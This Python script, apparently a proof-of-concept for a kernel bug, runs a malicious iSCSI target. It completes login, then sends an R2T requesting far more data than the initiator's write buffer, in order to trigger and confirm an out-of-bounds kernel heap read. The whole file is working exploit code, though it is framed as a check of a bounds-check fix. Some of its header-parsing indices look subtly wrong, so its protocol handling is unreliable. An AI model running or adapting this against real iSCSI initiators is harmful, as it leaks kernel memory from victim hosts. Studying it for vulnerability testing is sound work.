DF-1870 / evil_target.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 | #!/usr/bin/env python3 """ evil_target.py -- minimal evil iSCSI target that completes Login then sends a malicious R2T with ddtl far exceeding the WRITE buffer. This exercises the iscsi_r2t() bounds check in the kernel: - unfixed module: kernel walks past csio->data_ptr -> OOB read into the network - fixed module: bounds check rejects the R2T, xdebug prints "bad R2T" Usage on the guest (root): python3 evil_target.py 127.0.0.1 13260 > target.log 2>&1 & iscontrol -dv -t 0 -c /dev/stdin <<EOF targetaddress=127.0.0.1 targetport=13260 EOF """ import socket, struct, sys, time, binascii LISTEN_HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" LISTEN_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 13260 # iSCSI opcodes ISCSI_OP_LOGIN_REQ = 0x03 ISCSI_OP_LOGIN_RSP = 0x23 ISCSI_OP_SCSI_CMD = 0x01 ISCSI_OP_SCSI_RSP = 0x21 ISCSI_OP_R2T = 0x31 ISCSI_OP_DATA_OUT = 0x05 # Login response status classes STATUS_SUCCESS = 0 def bhs_unpack(b): # 48-byte BHS as a struct return struct.unpack("!BBBBIIIIIIII", b) def make_login_rsp(transit=1, csg=2, nsg=3, status=0, isid=0, tsih=1, itt=0xffffffff, cmd_sn=0, exp_cmd_sn=1, max_cmd_sn=1, data_seg=b""): # opcode 0x23, flags T|CSG|NSG in byte 1 flags = (transit << 7) | ((csg & 0x3) << 2) | (nsg & 0x3) if transit else ((csg & 0x3) << 2) | (nsg & 0x3) # version-max/min: 0, version-active: 0 b = bytearray(48) b[0] = ISCSI_OP_LOGIN_RSP b[1] = flags # bytes 2-3: version max=0, active=0 # bytes 4-7: total AHS len (0) + data segment len in top 3 bytes dsl = len(data_seg) b[5] = 0 b[6] = (dsl >> 8) & 0xff b[7] = dsl & 0xff # bytes 8-13: ISID (6 bytes) -- echo whatever the initiator sent, or use 0 b[8:14] = struct.pack("!Q", isid)[2:] # bytes 14-15: TSIH struct.pack_into("!H", b, 14, tsih) # bytes 16-19: itt struct.pack_into("!I", b, 16, itt) # bytes 20-23: reserved # bytes 24-27: statsn struct.pack_into("!I", b, 24, 1) # bytes 28-31: exp cmd sn struct.pack_into("!I", b, 28, exp_cmd_sn) # bytes 32-35: max cmd sn struct.pack_into("!I", b, 32, max_cmd_sn) # bytes 36-39: reserved # bytes 40-43: status-class (low 8) | status-detail (next 8) struct.pack_into("!I", b, 40, status) return bytes(b) + data_seg def make_r2t(lun, itt, ttt, r2tsn, bo, ddtl): b = bytearray(48) b[0] = ISCSI_OP_R2T | 0x80 # F bit set # bytes 1-3 reserved # bytes 4-7: ahs=0, dsl=0 # bytes 8-15: LUN (8 bytes) struct.pack_into("!Q", b, 8, lun) # bytes 16-19: itt struct.pack_into("!I", b, 16, itt) # bytes 20-23: ttt struct.pack_into("!I", b, 20, ttt) # bytes 24-27: r2tSN struct.pack_into("!I", b, 24, r2tsn) # bytes 28-31: StatSN (we use a constant) struct.pack_into("!I", b, 28, 1) # bytes 32-35: ExpCmdSN struct.pack_into("!I", b, 32, 1) # bytes 36-39: MaxCmdSN struct.pack_into("!I", b, 36, 0xffff) # bytes 40-43: bo (Buffer Offset) struct.pack_into("!I", b, 40, bo) # bytes 44-47: ddtl (Desired Data Transfer Length) struct.pack_into("!I", b, 44, ddtl) return bytes(b) def make_scsi_rsp(itt, status=0): b = bytearray(48) b[0] = ISCSI_OP_SCSI_RSP | 0x80 struct.pack_into("!I", b, 16, itt) struct.pack_into("!I", b, 24, 1) # statsn struct.pack_into("!I", b, 28, 1) # expcmdsn struct.pack_into("!I", b, 32, 0xffff) # maxcmdsn # status byte at offset 35 b[35] = status return bytes(b) def recv_exactly(conn, n): buf = b"" while len(buf) < n: chunk = conn.recv(n - len(buf)) if not chunk: return None buf += chunk return buf def handle_login(conn, init_bhs): # init_bhs[0] = opcode|T-bit (low 6 bits is opcode) opcode = init_bhs[0] & 0x3f print(f"[i] got Login Request opcode=0x{opcode:02x} flags=0x{init_bhs[1]:02x}") # extract data segment length (low 3 bytes of init_bhs[5] as u32 from bytes 5-7) dsl = (init_bhs[5] << 16) | (init_bhs[6] << 8) | init_bhs[7] print(f"[i] login data-segment length = {dsl}") if dsl: # padding to 4-byte boundary pad = (-dsl) & 3 ds = recv_exactly(conn, dsl + pad) if ds: print(f"[i] login text keys: {ds[:dsl]!r}") # Reply: success, transit to full-feature phase rsp = make_login_rsp(transit=1, csg=2, nsg=3, status=0, isid=0, tsih=0x1234, itt=0xffffffff, exp_cmd_sn=1, max_cmd_sn=0xffff, data_seg=b"TargetPortalGroupTag=1\x00MaxRecvDataSegmentLength=65536\x00") conn.sendall(rsp) print("[i] sent Login Response (Success, T-bit, FF phase)") return True def handle_scsi_cmd(conn, bhs): # opcode in low 6 bits; flag byte (with W bit) at bhs[1] opcode = bhs[0] & 0x3f flags = bhs[1] W = (flags >> 7) & 1 itt = bhs[4] # we packed as 12xI; itt is index 4 (bytes 16-19) edtlen = bhs[5] # bytes 20-23 = edtlen lun_lo = bhs[2] # bytes 8-11 = LUN low print(f"[i] got SCSI CMD opcode=0x{opcode:02x} W={W} itt=0x{itt:08x} edtlen={edtlen}") if W: # Send a malicious R2T asking for WAY more data than edtlen r2tsn = 0 bo = 0 ddtl = 0x100000 # 1 MiB -- far larger than any reasonable edtlen print(f"[!] sending malicious R2T: bo={bo} ddtl={ddtl} (vs edtlen={edtlen})") r2t = make_r2t(lun=lun_lo, itt=itt, ttt=0xdead, r2tsn=r2tsn, bo=bo, ddtl=ddtl) conn.sendall(r2t) print("[i] R2T sent; collecting Data-Out PDUs for a few seconds...") deadline = time.time() + 8 n_pdus = 0 leaked_total = 0 sample_bytes = b"" while time.time() < deadline: conn.settimeout(2.0) try: hdr = recv_exactly(conn, 48) except socket.timeout: break if not hdr: break data_out_bhs = struct.unpack("!BBBBIIIIIIII", hdr) ds_len = (data_out_bhs[5] << 16) | (data_out_bhs[6] << 8) | data_out_bhs[7] pad = (-ds_len) & 3 payload = b"" if ds_len: payload = recv_exactly(conn, ds_len + pad) or b"" payload = payload[:ds_len] n_pdus += 1 leaked_total += ds_len if len(sample_bytes) < 64: sample_bytes += payload[:64-len(sample_bytes)] print(f"[i] Data-Out #{n_pdus}: ds_len={ds_len} " f"first16={binascii.hexlify(payload[:16]).decode()}") print(f"[!] received {n_pdus} Data-Out PDUs, total bytes shipped by initiator: {leaked_total}") if leaked_total > edtlen: print(f"[!!!] OOB READ CONFIRMED: target received {leaked_total} bytes " f"but the write buffer was only {edtlen} bytes " f"(={leaked_total - edtlen} bytes of kernel heap leaked)") # send a SCSI response (status=0) to free the itt conn.sendall(make_scsi_rsp(itt, status=0)) else: # non-write: send SCSI response immediately conn.sendall(make_scsi_rsp(itt, status=0)) def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((LISTEN_HOST, LISTEN_PORT)) s.listen(1) print(f"[+] evil iSCSI target listening on {LISTEN_HOST}:{LISTEN_PORT}") while True: conn, addr = s.accept() print(f"[+] connection from {addr}") try: # Phase 1: read login request hdr = recv_exactly(conn, 48) if not hdr: continue bhs = struct.unpack("!BBBBIIIIIIII", hdr) opcode = bhs[0] & 0x3f if opcode == ISCSI_OP_LOGIN_REQ: handle_login(conn, bhs) else: print(f"[?] expected Login, got opcode 0x{opcode:02x}") conn.close() continue # Full-feature phase loop while True: conn.settimeout(15) hdr = recv_exactly(conn, 48) if not hdr: break bhs = struct.unpack("!BBBBIIIIIIII", hdr) opcode = bhs[0] & 0x3f if opcode == ISCSI_OP_SCSI_CMD: handle_scsi_cmd(conn, bhs) elif opcode == 0x0e: # Snack print("[i] got Snack, ignoring") elif opcode == 0x00: # NOP-Out print("[i] got NOP-Out, ignoring") # consume any data segment dsl = (bhs[5] << 16) | (bhs[6] << 8) | bhs[7] if dsl: recv_exactly(conn, dsl + (((-dsl) & 3))) else: print(f"[?] opcode 0x{opcode:02x}; closing") break except Exception as e: print(f"[!] error: {e}") finally: conn.close() print("[+] connection closed") if __name__ == "__main__": main() |